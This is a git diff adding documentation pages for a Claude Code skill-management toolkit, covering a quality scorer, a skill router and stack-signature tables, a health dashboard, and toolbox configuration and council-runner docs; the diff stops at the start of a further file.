a/docs/skill-quality-install.md b/docs/skill-quality-install.md new file mode 100644 index 0000000000000000000000000000000000000000..2f99dd898a4df557eec01bab834835e11e181e23 --- /dev/null +++ b/docs/skill-quality-install.md @@ -0,0 +1,171 @@ +# Skill quality — install & operations + +One page on running the Phase 3 quality scorer: install the Stop hook, +seed the sidecars, and verify the data flows into the wiki and the +knowledge graph. + +## What it does + +Every installed skill and agent gets a continuous quality score in +`[0.0, 1.0]` plus an A/B/C/D/F letter grade, derived from four signals: + +| Signal | Weight | What it measures | +| --------- | -----: | ----------------------------------------------------- | +| telemetry | 0.40 | Load count, recency, freshness in `skill-events.jsonl`| +| intake | 0.20 | Live re-run of the six install-time structural checks | +| graph | 0.25 | Degree + average edge weight in the wiki graph | +| routing | 0.15 | Router hit-rate (neutral prior below 3 observations) | + +Two hard floors override the weighted sum: + +- **`intake_fail`** — any structural check is currently failing → grade **F**. + Grade F is **only** produced by this hard floor; it is never returned by + the score-to-grade mapping function alone. A score of 0.0 maps to **D**. +- **`never_loaded_stale`** — no load events ever → grade capped at **D**. + +The score is mirrored to three on-disk sinks so every consumer sees the +same number: + +1. `~/.claude/skill-quality/.json` — canonical machine-readable form. +2. Wiki entity frontmatter — `quality_score`, `quality_grade`, `quality_updated_at`. +3. Wiki body — a `## Quality` block between `` markers. + +The knowledge-graph node attribute is a **separate consumer path**, not a +write path from `persist_quality`: `wiki_graphify` reads the sidecar JSON +produced by sink 1 and attaches `quality_score` / `quality_grade` to each +node on its next build. + +## Register the Stop hook + +The hook runs once per session-end. It reads `skill-events.jsonl` since +its last run, collects every slug that appeared, and calls +`skill_quality.py recompute --slugs ` — so scoring is +incremental (touched skills only), not a full 2,000-page sweep. + +Edit `~/.claude/settings.json` and add, replacing `` with the +absolute path to this checkout (use forward slashes on Windows): + +```json +{ + "hooks": { + "Stop": [ + { + "hooks": [ + { + "type": "command", + "command": "python /hooks/quality_on_session_end.py" + } + ] + } + ] + } +} +``` + +The hook always exits 0: a scoring error will not block session +shutdown. + +## Seed the sidecars (first run only) + +Run once after install so every installed skill has a baseline score: + +```bash +ctx-skill-quality recompute --all +``` + +This walks `~/.claude/skills/*/SKILL.md` and `~/.claude/agents/*.md`, +scores each, and writes the three on-disk sinks. Expect ~15–30s depending on +corpus size and disk. + +## CLI reference + +```bash +# Full recompute (use sparingly; the Stop hook handles incrementals). +ctx-skill-quality recompute --all + +# One slug. +ctx-skill-quality recompute --slug python-testing + +# Show the most recent score. +ctx-skill-quality show python-testing + +# Signal-by-signal breakdown with evidence. +ctx-skill-quality explain python-testing + +# List every slug with its grade, filtered. +ctx-skill-quality list --grade D +``` + +All verbs accept `--json` for piping into other tools. + +## Graph integration + +`wiki_graphify.py` reads the sidecar directory automatically and +attaches `quality_score` and `quality_grade` to every matching node. The +Obsidian graph view can then color nodes by grade — configure the +`quality_grade` property in Obsidian's graph settings. + +Nodes without a sidecar get `quality_score: null` and `quality_grade: +null` so downstream consumers can always read the attribute safely. + +## Configuration + +All knobs live in `src/config.json` under the top-level `quality` key: + +```json +{ + "quality": { + "weights": { + "telemetry": 0.40, "intake": 0.20, "graph": 0.25, "routing": 0.15 + }, + "agent_weights": { + "telemetry": 0.15, "intake": 0.30, "graph": 0.35, "routing": 0.20 + }, + "grade_thresholds": {"A": 0.80, "B": 0.60, "C": 0.40}, + "stale_threshold_days": 30.0, + "recent_window_days": 14.0, + "min_body_chars": 120, + "paths": { + "sidecar_dir": "~/.claude/skill-quality", + "router_trace": "~/.claude/router-trace.jsonl" + } + } +} +``` + +`ctx_config.Config` exposes this through `cfg.get("quality", {})`. User +overrides in `~/.claude/skill-system-config.json` deep-merge over the +repo defaults, so you can pin only the keys you want to change. + +Both weight vectors must sum to 1.0 (±0.01) and grade thresholds must +satisfy `0 ≤ C ≤ B ≤ A ≤ 1` — `QualityConfig.__post_init__` will raise +on bad values, catching typos before they pollute sidecars. + +### Why two weight vectors + +Skills and agents differ in how they're invoked. Skills are loaded +automatically by the router, so **telemetry** (load counts, recency) is +the strongest post-install quality signal — hence 0.40 weight. + +Agents are invoked via the Agent tool, deliberately and rarely. A +seldom-used agent isn't stale, it's specialized. The agent weights +shift mass onto **graph connectedness** (0.35) and **intake structure** +(0.30) so agents aren't penalized for having an empty telemetry stream. +The `never_loaded_stale` hard floor, which caps skills at D when they +have zero load events, does **not** apply to agents for the same +reason. + +## Troubleshooting + +- **Every skill grades D.** Telemetry hasn't accumulated enough load + events yet. This is expected on a fresh install; the stop-hook will + pick up real usage over the next few sessions. +- **A recently-edited skill now grades F.** Open the sidecar and look + at `signals.intake.evidence.checks` — one of the six structural + checks is failing. Fix the file and rerun `recompute --slug `. +- **Wiki page has two `## Quality` sections.** Shouldn't happen — + `persist_quality` is idempotent via the HTML-comment markers. If it + does, delete both blocks and rerun `recompute`; the first pass will + re-emit exactly one. +- **Graph view shows no color.** Run `ctx-wiki-graphify + --graph-only` to rebuild; it reads sidecars fresh on every build. diff --git a/docs/skill-router/index.md b/docs/skill-router/index.md new file mode 100644 index 0000000000000000000000000000000000000000..e7d0e345c629c4489b7df9f12ecdfca3ab805b57 --- /dev/null +++ b/docs/skill-router/index.md @@ -0,0 +1,49 @@ +# Skill router + +The skill router decides which skills, plugins, and MCP servers load into +a session based on the active repository. The full router spec lives in +[`docs/SKILL.md`](https://github.com/stevesolun/ctx/blob/main/docs/SKILL.md); +this page summarizes the parts most relevant to the docs site. + +## Problem + +Every skill, plugin, and MCP server loaded into context costs tokens and +attention. Most projects need 3–8 skills out of 30+. Loading all of them: + +- wastes the context window on irrelevant instructions, +- causes skill misfires (wrong skill triggers for a task), +- slows response time, and +- creates conflicting instructions between skills. + +## Architecture + +``` +skill-router/ +├── SKILL.md # Orchestration logic +├── references/ +│ ├── stack-signatures.md # File/config → stack id +│ ├── skill-stack-matrix.md # Which skills serve which stacks +│ └── marketplace-registry.md # Known marketplaces +└── scripts/ + ├── scan_repo.py # Scanner → stack profile JSON + ├── resolve_skills.py # Stack → skill set + └── skill_loader.py # Load/unload skills into session +``` + +## Flow + +1. Repo opens (or Claude detects a `cd`). +2. `scan_repo.py` produces a stack profile. +3. `resolve_skills.py` maps the profile to a skill set using the + [skill-stack matrix](../skill-stack-matrix.md). +4. `skill_loader.py` loads selected skills, unloads anything not in the + set, and records the choice in the LLM Wiki catalog. + +## Reference pages + +- [Stack signatures](../stack-signatures.md) — the file/config patterns + the scanner uses to identify stacks. +- [Skill-stack matrix](../skill-stack-matrix.md) — the mapping from stack + identifiers to skill sets. +- [Marketplace registry](../marketplace-registry.md) — known skill + marketplaces and query patterns. diff --git a/docs/skill-stack-matrix.md b/docs/skill-stack-matrix.md new file mode 100644 index 0000000000000000000000000000000000000000..7113422aac0b66432d97a61b80a7fdb21ea85eec --- /dev/null +++ b/docs/skill-stack-matrix.md @@ -0,0 +1,165 @@ +# Skill-Stack Matrix + +> Maps stack identifiers to the skills that serve them. +> Used by resolve_skills.py to determine what to load. + +## Table of Contents +1. [Matrix Format](#matrix-format) +2. [The Matrix](#the-matrix) +3. [Companion Rules](#companion-rules) +4. [Conflict Rules](#conflict-rules) + +--- + +## Matrix Format + +Each entry: +- **Stack IDs**: which detected stacks trigger this skill +- **Skill**: skill name (matches directory name in /mnt/skills/) +- **Priority Base**: starting priority before signal boosts +- **Required**: must-load if stack detected, vs nice-to-have +- **Companions**: skills that should co-load +- **Conflicts**: skills that should not co-load + +## The Matrix + +### Document Creation Skills + +| Skill | Stack IDs | Priority | Required | Path Pattern | +|-------|-----------|----------|----------|--------------| +| docx | (any -- triggered by user request) | 2 | no | /mnt/skills/public/docx/ | +| pdf | (any -- triggered by user request) | 2 | no | /mnt/skills/public/pdf/ | +| pptx | (any -- triggered by user request) | 2 | no | /mnt/skills/public/pptx/ | +| xlsx | (any -- triggered by user request) | 2 | no | /mnt/skills/public/xlsx/ | + +> Note: document skills are demand-loaded, not stack-loaded. They activate on user +> request ("make a presentation") not on repo content. The router keeps them in a +> "standby" pool -- not loaded into context, but available for instant load. + +### Frontend Skills + +| Skill | Stack IDs | Priority | Required | +|-------|-----------|----------|----------| +| frontend-design | react, vue, angular, svelte, nextjs, nuxt, html, css | 8 | yes | +| react | react, nextjs | 7 | yes | +| vue | vue, nuxt | 7 | yes | +| angular | angular | 7 | yes | +| svelte | svelte | 7 | yes | +| tailwind | tailwindcss | 5 | no | +| css-modules | css-modules | 4 | no | + +### Backend Skills + +| Skill | Stack IDs | Priority | Required | +|-------|-----------|----------|----------| +| fastapi | fastapi | 8 | yes | +| django | django | 8 | yes | +| flask | flask | 7 | yes | +| express | express | 8 | yes | +| nestjs | nestjs | 8 | yes | +| rails | rails | 8 | yes | +| gin | gin | 7 | yes | +| actix | actix | 7 | yes | + +### Data Skills + +| Skill | Stack IDs | Priority | Required | +|-------|-----------|----------|----------| +| sqlalchemy | sqlalchemy, alembic | 6 | yes | +| prisma | prisma | 6 | yes | +| typeorm | typeorm | 6 | yes | +| drizzle | drizzle | 6 | yes | +| redis | redis | 4 | no | +| kafka | kafka | 5 | no | +| dbt | dbt | 6 | yes | + +### Infrastructure Skills + +| Skill | Stack IDs | Priority | Required | +|-------|-----------|----------|----------| +| docker | docker, docker-compose | 6 | yes | +| kubernetes | kubernetes, helm, kustomize | 6 | yes | +| terraform | terraform | 7 | yes | +| github-actions | github-actions | 5 | yes | +| gitlab-ci | gitlab-ci | 5 | yes | +| aws | aws-cdk, aws-sam | 7 | yes | +| vercel | vercel | 4 | no | + +### AI/Agent Skills + +| Skill | Stack IDs | Priority | Required | +|-------|-----------|----------|----------| +| langchain | langchain | 7 | yes | +| llamaindex | llamaindex | 7 | yes | +| mcp-dev | mcp | 7 | yes | +| pytorch | pytorch | 6 | yes | +| huggingface | huggingface | 6 | yes | +| openai-sdk | openai-sdk | 5 | no | +| anthropic-sdk | anthropic-sdk | 5 | no | + +### Quality Skills + +| Skill | Stack IDs | Priority | Required | +|-------|-----------|----------|----------| +| pytest | pytest | 5 | yes | +| jest | jest, vitest | 5 | yes | +| cypress | cypress | 4 | no | +| playwright | playwright | 4 | no | +| eslint | eslint | 3 | no | +| ruff | ruff | 3 | no | + +### Documentation Skills + +| Skill | Stack IDs | Priority | Required | +|-------|-----------|----------|----------| +| openapi | openapi | 5 | yes | +| graphql | graphql | 5 | yes | +| mkdocs | mkdocs | 4 | no | +| docusaurus | docusaurus | 4 | no | + +### Meta Skills (always available, never unloaded) + +| Skill | Stack IDs | Priority | Required | Notes | +|-------|-----------|----------|----------|-------| +| skill-router | * | 99 | yes | This skill -- always loaded | +| file-reading | * | 50 | yes | Core capability | +| skill-creator | * | 10 | no | Standby pool | +| product-self-knowledge | * | 10 | no | Standby pool | + +--- + +## Companion Rules + +When skill A is loaded, also load skill B if its stack is detected: + +| Primary Skill | Companion | Condition | +|---------------|-----------|-----------| +| fastapi | sqlalchemy | DB migrations detected | +| fastapi | openapi | OpenAPI spec file exists | +| django | django-orm | (always with django) | +| react | tailwind | tailwind.config.* exists | +| docker | docker-compose | docker-compose.yml exists | +| kubernetes | helm | Chart.yaml exists | +| terraform | aws | provider "aws" in *.tf | +| langchain | openai-sdk | openai in deps | +| pytest | coverage | .coveragerc or coverage config exists | + +## Conflict Rules + +These skills should not be co-loaded (pick the one with higher confidence/priority): + +| Skill A | Skill B | Resolution | +|---------|---------|------------| +| flask | fastapi | Higher confidence wins | +| flask | django | Higher confidence wins | +| jest | vitest | Higher confidence wins | +| webpack | vite | Higher confidence wins | +| npm | yarn | Check lock file | +| npm | pnpm | Check lock file | +| yarn | pnpm | Check lock file | +| react | vue | Both can coexist in monorepo | +| sqlalchemy | prisma | Both can coexist if different services | + +> Conflict resolution: check if the repo is a monorepo. In monorepos, "conflicting" +> skills may serve different packages and should both load. In single-package repos, +> pick the one with higher confidence. diff --git a/docs/skills-health.md b/docs/skills-health.md new file mode 100644 index 0000000000000000000000000000000000000000..8186a09c3774887fd59bf831add251d5ee7a4415 --- /dev/null +++ b/docs/skills-health.md @@ -0,0 +1,108 @@ +# Skill health dashboard + +[`src/skill_health.py`](https://github.com/stevesolun/ctx/blob/main/src/skill_health.py) +scans `~/.claude/skills/` and `~/.claude/agents/` for structural and +catalog issues, then produces a JSON or human-readable dashboard. It +also self-heals catalog drift — without ever modifying a SKILL.md. + +## What it checks + +For each skill (`~/.claude/skills//SKILL.md`) and each agent +(`~/.claude/agents/.md`): + +| Code | Severity | Condition | +|---|---|---| +| `missing-file` | error | Skill directory has no SKILL.md | +| `unreadable` | error | File exists but can't be decoded as UTF-8 | +| `no-frontmatter` | error | Missing or malformed `---` YAML fence | +| `frontmatter-missing-name` | error | Frontmatter has no `name:` field | +| `frontmatter-missing-description` | warning | Missing `description:` (router relevance suffers) | +| `empty-body` | error | Fewer than `min_body_lines` non-blank lines | +| `over-threshold` | warning | Line count exceeds `line_threshold` (default 180) | + +## Drift detection + +`DriftReport` cross-references three sources: + +- on-disk entities (skills + agents), +- `~/.claude/skill-manifest.json` → `load[].skill` entries, +- `~/.claude/pending-skills.json` → `graph_suggestions[].name` and + `unmatched_signals[]`. + +Anything in the manifest or pending file that doesn't exist on disk +becomes an *orphan*. Orphans are the only thing `heal` is allowed to +touch. + +## Self-healing + +```bash +ctx-skill-health heal +``` + +- drops orphaned entries from `skill-manifest.json` +- drops orphaned entries from `pending-skills.json` +- writes atomically (`tempfile.mkstemp` + `os.replace`) +- never modifies SKILL.md files or agent .md files + +If nothing needs healing, prints `[heal] nothing to do.` and exits 0. + +## CLI + +```bash +# Emit a full JSON report +ctx-skill-health scan + +# Pretty dashboard +ctx-skill-health dashboard + +# CI gate: exit 2 if any error-severity issue or drift is present +ctx-skill-health check --strict + +# Apply safe autofixes to manifest + pending +ctx-skill-health heal +``` + +## Data model + +```python +@dataclass(frozen=True) +class Issue: + code: str + severity: str # "warning" | "error" + message: str + +@dataclass(frozen=True) +class EntityHealth: + name: str + kind: str # "skill" | "agent" + path: str + lines: int + has_frontmatter: bool + issues: tuple[Issue, ...] = () + +@dataclass(frozen=True) +class DriftReport: + orphaned_manifest: tuple[str, ...] = () + orphaned_pending: tuple[str, ...] = () + +@dataclass(frozen=True) +class HealthReport: + generated_at: float + entities: tuple[EntityHealth, ...] + drift: DriftReport + totals: dict[str, int] +``` + +`HealthReport.has_errors` is true when any entity has severity `error` +*or* drift is non-empty — that's the single predicate behind +`check --strict`'s exit code. + +## Related + +- [Memory anchoring](memory-anchor.md) — dead-reference detection for + auto-memory notes. +- `src/skill_quality.py` (v0.5.0+) — the four-signal quality scorer + (telemetry 0.40, intake 0.20, graph 0.25, routing 0.15) that writes + per-entity sidecars and surfaces A/B/C/D/F grades. The `skill_health` + CLI above focuses on *structural* correctness; `skill_quality` + focuses on *behavioral* quality over time. diff --git a/docs/stack-signatures.md b/docs/stack-signatures.md new file mode 100644 index 0000000000000000000000000000000000000000..5ed30ed62bc2498542a01656969f2c834a165ca8 --- /dev/null +++ b/docs/stack-signatures.md @@ -0,0 +1,164 @@ +# Stack Signatures Reference + +> Maps file patterns and config markers to stack identifiers. +> The scanner uses this to classify what a repo contains. +> Organized by detection category. Each entry: pattern -> stack identifier + confidence. + +## Table of Contents +1. [Languages](#languages) +2. [Web Frameworks](#web-frameworks) +3. [AI/ML Frameworks](#aiml-frameworks) +4. [Infrastructure](#infrastructure) +5. [Data & Storage](#data-storage) +6. [Testing](#testing) +7. [Build & Package](#build-package) +8. [Documentation](#documentation) +9. [AI/Agent Tooling](#aiagent-tooling) + +--- + +## Languages + +| Pattern | Stack ID | Confidence | Notes | +|---------|----------|------------|-------| +| `*.py` + `pyproject.toml` | python | 1.0 | Check `python_requires` for version | +| `*.py` + `requirements.txt` | python | 0.95 | Older pattern, still common | +| `*.py` + `Pipfile` | python | 0.95 | | +| `*.py` + `poetry.lock` | python | 1.0 | | +| `*.ts` + `tsconfig.json` | typescript | 1.0 | | +| `*.js` + `package.json` | javascript | 0.9 | Could be TS compiled | +| `*.rs` + `Cargo.toml` | rust | 1.0 | | +| `*.go` + `go.mod` | go | 1.0 | | +| `*.java` + `pom.xml` | java | 1.0 | Maven | +| `*.java` + `build.gradle` | java | 1.0 | Gradle | +| `*.kt` + `build.gradle.kts` | kotlin | 1.0 | | +| `*.rb` + `Gemfile` | ruby | 1.0 | | +| `*.swift` + `Package.swift` | swift | 1.0 | | +| `*.cs` + `*.csproj` | csharp | 1.0 | | +| `*.php` + `composer.json` | php | 1.0 | | + +## Web Frameworks + +| Pattern | Stack ID | Confidence | Notes | +|---------|----------|------------|-------| +| `next.config.*` | nextjs | 1.0 | Check for app/ vs pages/ | +| `nuxt.config.*` | nuxt | 1.0 | | +| `angular.json` | angular | 1.0 | | +| `svelte.config.*` | svelte | 1.0 | | +| `vite.config.*` + react in deps | react | 0.95 | Confirm via package.json | +| `package.json` has `"react"` | react | 0.9 | Check version for 18 vs 19 | +| `package.json` has `"vue"` | vue | 0.9 | | +| `package.json` has `"express"` | express | 0.95 | | +| `package.json` has `"fastify"` | fastify | 0.95 | | +| pyproject/req has `fastapi` | fastapi | 0.99 | | +| pyproject/req has `django` | django | 0.99 | Check for DRF too | +| pyproject/req has `flask` | flask | 0.95 | | +| `Gemfile` has `rails` | rails | 1.0 | | +| `go.mod` has `gin-gonic` | gin | 0.95 | | +| `Cargo.toml` has `actix-web` | actix | 0.95 | | +| `Cargo.toml` has `axum` | axum | 0.95 | | + +## AI/ML Frameworks + +| Pattern | Stack ID | Confidence | Notes | +|---------|----------|------------|-------| +| deps has `torch` or `pytorch` | pytorch | 0.95 | | +| deps has `tensorflow` | tensorflow | 0.95 | | +| deps has `transformers` | huggingface | 0.9 | | +| deps has `langchain` | langchain | 0.95 | Check core vs community | +| deps has `llama-index` | llamaindex | 0.95 | | +| deps has `crewai` | crewai | 0.95 | | +| deps has `autogen` | autogen | 0.95 | | +| deps has `semantic-kernel` | semantic-kernel | 0.95 | | +| deps has `openai` | openai-sdk | 0.8 | Could be indirect | +| deps has `anthropic` | anthropic-sdk | 0.8 | | +| deps has `dspy` | dspy | 0.95 | | +| `*.ipynb` files present | jupyter | 0.85 | | + +## Infrastructure + +| Pattern | Stack ID | Confidence | Notes | +|---------|----------|------------|-------| +| `Dockerfile` | docker | 1.0 | | +| `docker-compose.yml` | docker-compose | 1.0 | | +| `.github/workflows/*.yml` | github-actions | 1.0 | | +| `.gitlab-ci.yml` | gitlab-ci | 1.0 | | +| `Jenkinsfile` | jenkins | 1.0 | | +| `.circleci/config.yml` | circleci | 1.0 | | +| `*.tf` files | terraform | 1.0 | | +| `pulumi.*` or `Pulumi.yaml` | pulumi | 1.0 | | +| `cdk.json` | aws-cdk | 1.0 | | +| `template.yaml` (SAM) | aws-sam | 0.9 | Disambiguate from other templates | +| `serverless.yml` | serverless | 1.0 | | +| `k8s/` or `kubernetes/` dir | kubernetes | 0.95 | | +| `helm/` or `Chart.yaml` | helm | 1.0 | | +| `kustomization.yaml` | kustomize | 1.0 | | +| `ansible/` or `playbook.yml` | ansible | 0.9 | | +| `fly.toml` | fly-io | 1.0 | | +| `vercel.json` | vercel | 1.0 | | +| `netlify.toml` | netlify | 1.0 | | +| `render.yaml` | render | 1.0 | | +| `railway.json` | railway | 1.0 | | + +## Data & Storage + +| Pattern | Stack ID | Confidence | Notes | +|---------|----------|------------|-------| +| `alembic/` or `alembic.ini` | sqlalchemy | 0.95 | | +| `prisma/schema.prisma` | prisma | 1.0 | | +| deps has `typeorm` | typeorm | 0.95 | | +| deps has `drizzle-orm` | drizzle | 0.95 | | +| deps has `sequelize` | sequelize | 0.95 | | +| `migrations/` + Django | django-orm | 0.9 | | +| deps has `redis` or `ioredis` | redis | 0.85 | | +| deps has `kafka` or `confluent-kafka` | kafka | 0.9 | | +| deps has `celery` | celery | 0.95 | | +| `dags/` directory | airflow | 0.9 | | +| `dbt_project.yml` | dbt | 1.0 | | +| `*.sql` migration files | sql | 0.7 | Generic | + +## Testing + +| Pattern | Stack ID | Confidence | Notes | +|---------|----------|------------|-------| +| `pytest.ini` or `conftest.py` | pytest | 1.0 | | +| `jest.config.*` | jest | 1.0 | | +| `vitest.config.*` | vitest | 1.0 | | +| `cypress.config.*` or `cypress/` | cypress | 1.0 | | +| `playwright.config.*` | playwright | 1.0 | | +| `.mocharc.*` | mocha | 1.0 | | + +## Build & Package + +| Pattern | Stack ID | Confidence | Notes | +|---------|----------|------------|-------| +| `webpack.config.*` | webpack | 1.0 | | +| `vite.config.*` | vite | 1.0 | | +| `esbuild.*` in scripts | esbuild | 0.8 | | +| `turbo.json` | turborepo | 1.0 | | +| `nx.json` | nx | 1.0 | | +| `lerna.json` | lerna | 1.0 | | +| `pnpm-workspace.yaml` | pnpm-workspace | 1.0 | | +| `yarn.lock` + `workspaces` in pkg.json | yarn-workspace | 0.95 | | + +## Documentation + +| Pattern | Stack ID | Confidence | Notes | +|---------|----------|------------|-------| +| `mkdocs.yml` | mkdocs | 1.0 | | +| `docusaurus.config.*` | docusaurus | 1.0 | | +| `conf.py` + `index.rst` | sphinx | 0.95 | | +| `.vitepress/` | vitepress | 1.0 | | +| `openapi.yaml` or `swagger.yaml` | openapi | 0.95 | | +| `*.graphql` or `schema.graphql` | graphql | 0.9 | | + +## AI/Agent Tooling + +| Pattern | Stack ID | Confidence | Notes | +|---------|----------|------------|-------| +| `mcp.json` or `.mcp/` | mcp | 1.0 | | +| `CLAUDE.md` | claude-code | 0.95 | | +| `.cursorrules` | cursor | 0.9 | | +| `.windsurfrules` | windsurf | 0.9 | | +| `prompts/` directory | prompt-management | 0.7 | | +| `.env` with `*_API_KEY` | api-keys | 0.6 | Names only, never values | diff --git a/docs/toolbox/behavior-miner.md b/docs/toolbox/behavior-miner.md new file mode 100644 index 0000000000000000000000000000000000000000..be0b4e2dec2d7a5cad733a4441aa43d72d16e98e --- /dev/null +++ b/docs/toolbox/behavior-miner.md @@ -0,0 +1,90 @@ +# Behavior miner + +[`src/behavior_miner.py`](https://github.com/stevesolun/ctx/blob/main/src/behavior_miner.py) +watches your invocation patterns and proposes toolbox tweaks grounded in +real evidence. + +## What it collects + +Four signal families, each with `MIN_EVIDENCE = 3` before a suggestion +can surface: + +| Signal | Source | Example suggestion | +|---|---|---| +| **Co-invocation** | Pairs of agents invoked in the same session | "You ran `code-reviewer` + `security-reviewer` together 4 times — consider a bundle." | +| **Skill cadence** | Skill load frequency over time | "`python-patterns` loaded every session — promote to `pre`." | +| **File-type** | File extensions of work-in-progress | "60% of your diffs touch `.tf` files — consider a Terraform toolbox." | +| **Commit-type** | Conventional Commit parsing | "8 of your last 10 commits are `fix:` — consider a pre-commit test toolbox." | + +## User profile + +Signals aggregate into `~/.claude/user-profile.json`: + +```jsonc +{ + "version": 1, + "updated_at": 1713456789, + "signals": { + "co_invocation": { + "code-reviewer|security-reviewer": 4, + "architect-review|test-automator": 3 + }, + "skill_cadence": { + "python-patterns": {"loads": 12, "sessions": 12} + }, + "file_types": {"py": 87, "md": 31, "tf": 0}, + "commit_types": {"fix": 8, "feat": 2} + }, + "suggestions": [ + { + "id": "bundle:reviewers-pair", + "rationale": "4 co-invocations of code-reviewer + security-reviewer", + "evidence_count": 4 + } + ] +} +``` + +## Digest + +On `session-end`, the hook calls `format_digest(profile)` and prints +anything new. Example output: + +``` +[behavior-miner] 2 suggestions: + - bundle:reviewers-pair (4 co-invocations) + → add to 'review' toolbox: + ctx-toolbox add review --post code-reviewer,security-reviewer + - promote:python-patterns (loaded in 12/12 sessions) + → promote to 'pre' in your default toolbox +``` + +Suggestions are never applied automatically. The user runs the command, +or accepts the suggestion via `toolbox init --accept `. + +## CLI + +```bash +# Rebuild the profile from scratch (scans ~/.claude/history/) +python -m behavior_miner build + +# Show current suggestions +python -m behavior_miner show + +# Print digest (same output as session-end hook) +python -m behavior_miner digest + +# Drop a suggestion (noise reduction) +python -m behavior_miner dismiss bundle:reviewers-pair +``` + +## Privacy + +All signal data stays in `~/.claude/`. Nothing is sent over the network. +The miner never reads file contents — only names, extensions, and commit +message prefixes. + +## Related + +- [Intent interview](intent-interview.md) — surfaces miner suggestions + during the `toolbox init` flow. diff --git a/docs/toolbox/configuration.md b/docs/toolbox/configuration.md new file mode 100644 index 0000000000000000000000000000000000000000..60ddce61d7e3386eab8f4a6944917f50c32a4789 --- /dev/null +++ b/docs/toolbox/configuration.md @@ -0,0 +1,143 @@ +# Configuration + +Toolbox config lives in two files: + +| Layer | Path | Format | Scope | +|---|---|---|---| +| **Global** | `~/.claude/toolboxes.json` | JSON | Every repo on this machine | +| **Per-repo** | `.toolbox.yaml` (project root) | YAML | This repo only, overrides global | + +Per-repo entries shadow global entries with the same name. Fields absent +from the per-repo file fall back to the global value. + +## Schema + +```jsonc +{ + "version": 1, + "toolboxes": { + "": { + "description": "human-readable purpose", + + // Skills to load before the trigger fires + "pre": ["python-patterns", "docs-lookup"], + + // Agents to run after + "post": [ + "code-reviewer", + "security-reviewer", + "architect-review" + ], + + "scope": { + // "diff" | "dynamic" | "full" + "analysis": "dynamic", + // Optional: restrict to these glob projects + "projects": ["*"], + // Optional: restrict to these file globs + "files": ["src/**/*.py"] + }, + + "budget": { + "max_tokens": 60000, + "max_seconds": 180 + }, + + "dedup": { + // "fresh" = always re-run, "user-configurable" = skip + // if same files already reviewed this session + "policy": "user-configurable", + "window_seconds": 3600 + }, + + "trigger": { + "slash": true, + "session_start": false, + "file_save": false, + "pre_commit": true, + "session_end": false + }, + + // If true, HIGH/CRITICAL verdicts block pre-commit + "guardrail": true + } + } +} +``` + +## Field reference + +### `pre` and `post` + +- `pre` — skills to load before work starts. Loaded into the session's + skill manifest, unloaded when the session ends. +- `post` — agents to invoke after the trigger. Each runs in its own + sub-agent context window. + +Either list can be empty. A toolbox with only `pre` is a skill preloader; +one with only `post` is a review council. + +### `scope.analysis` + +Controls what files the council sees: + +| Value | Behavior | +|---|---| +| `diff` | Only files with uncommitted changes. Cheapest, fastest. | +| `dynamic` | Diff + import graph blast radius. Catches downstream regressions. | +| `full` | Every tracked file. Most thorough; expensive — reserve for security sweeps. | + +### `budget` + +Enforced by `council_runner`. When the plan would exceed `max_tokens`, the +runner truncates the file list; when time exceeds `max_seconds`, the +trigger exits 0 without running remaining agents. + +### `dedup` + +`fresh` always re-runs. `user-configurable` skips a council run when the +same file set was reviewed within `window_seconds`. Dedup state lives at +`~/.claude/toolbox-runs/.json`. + +### `trigger` + +At least one trigger must be true. Multiple triggers are allowed — a +`ship-it` toolbox typically enables `slash`, `pre_commit`, and +`session_end`. + +### `guardrail` + +When `true` and the trigger is `pre_commit`, the hook reads +`.verdict.json` after the council runs and exits `2` (blocks +the commit) if level is `HIGH` or `CRITICAL`. See +[Verdicts & guardrails](verdicts.md). + +## Editing tools + +```bash +# List all toolboxes, both layers merged +ctx-toolbox list + +# Show resolved config for one toolbox +ctx-toolbox show ship-it + +# Activate a starter preset +ctx-toolbox activate ship-it + +# Export merged config +ctx-toolbox export > my-toolboxes.yaml + +# Import from file +ctx-toolbox import my-toolboxes.yaml +``` + +## Validation + +`toolbox_config.load()` validates on read: + +- `version` must equal `1`. +- Every toolbox needs at least one trigger. +- `scope.analysis` must be one of `diff`, `dynamic`, `full`. +- `budget.max_tokens` and `budget.max_seconds` must be positive ints. + +Invalid entries raise `ValueError` with the offending key. diff --git a/docs/toolbox/council-runner.md b/docs/toolbox/council-runner.md new file mode 100644 index 0000000000000000000000000000000000000000..9eaf5488d67338670536621adfb6408f9cb1c388 --- /dev/null +++ b/docs/toolbox/council-runner.md @@ -0,0 +1,81 @@ +# Council runner + +[`src/council_runner.py`](https://github.com/stevesolun/ctx/blob/main/src/council_runner.py) +is the planner that turns a toolbox declaration into a concrete `RunPlan` +the hook system can execute. + +## Responsibilities + +1. **Resolve the toolbox** — merge global + per-repo config. +2. **Compute scope** — walk the current diff or full repo, honoring + `scope.analysis` and optional `scope.files` globs. +3. **Graph-blast expansion** — for `dynamic` scope, add every file that + imports a changed module (via the knowledge graph edge map). +4. **Enforce budget** — drop files until the plan fits within + `budget.max_tokens` (estimated by line count × heuristic). +5. **Honor dedup** — skip if the same file set was run within + `dedup.window_seconds` and policy is `user-configurable`. +6. **Persist** — write the plan to + `~/.claude/toolbox-runs/.json` for downstream reads. + +## RunPlan + +```python +@dataclass(frozen=True) +class RunPlan: + plan_hash: str + toolbox: str + agents: tuple[str, ...] + files: tuple[str, ...] + source: str # "slash" | "pre-commit" | ... + guardrail: bool + budget: Budget + created_at: float +``` + +The `plan_hash` is deterministic (sha256 of `toolbox|sorted(files)|agents`), +which lets dedup work across triggers without any additional state. + +## CLI + +```bash +# Build and persist a plan for the named toolbox +python -m council_runner build ship-it + +# Build without persisting (useful for inspection) +python -m council_runner build ship-it --dry-run + +# Show a previously persisted plan +python -m council_runner show + +# List recent plans +python -m council_runner list --limit 10 +``` + +## Budget estimation + +Token estimates are intentionally rough. The runner assumes ~4 tokens per +line of source, then sorts files by recency (newest first) and greedily +takes until `max_tokens` is reached. If a single file exceeds the budget, +the plan is truncated rather than dropped — the council still runs on a +partial view. + +This cheap estimate is fine because the council itself enforces its own +budgets; `council_runner`'s job is just to stay in the right ballpark. + +## Dedup window + +Dedup compares the sorted file list, not the plan hash — that way a +toolbox and its re-run with a newer budget still dedup correctly. + +## Graph-blast expansion + +For `dynamic` scope, `council_runner` reads the graph edge map produced +by `scan_repo.py` and walks imports one hop out from each changed file. +It stops at one hop to keep scope bounded; deep graph walks are reserved +for explicit `full` mode. + +## Related + +- [Hooks & triggers](hooks.md) — how a plan gets executed. +- [Verdicts & guardrails](verdicts.md) — what the council leaves behind. diff --git a/docs/toolbox/hooks.md b/docs/toolbox/hooks.md new file mode 100644 index 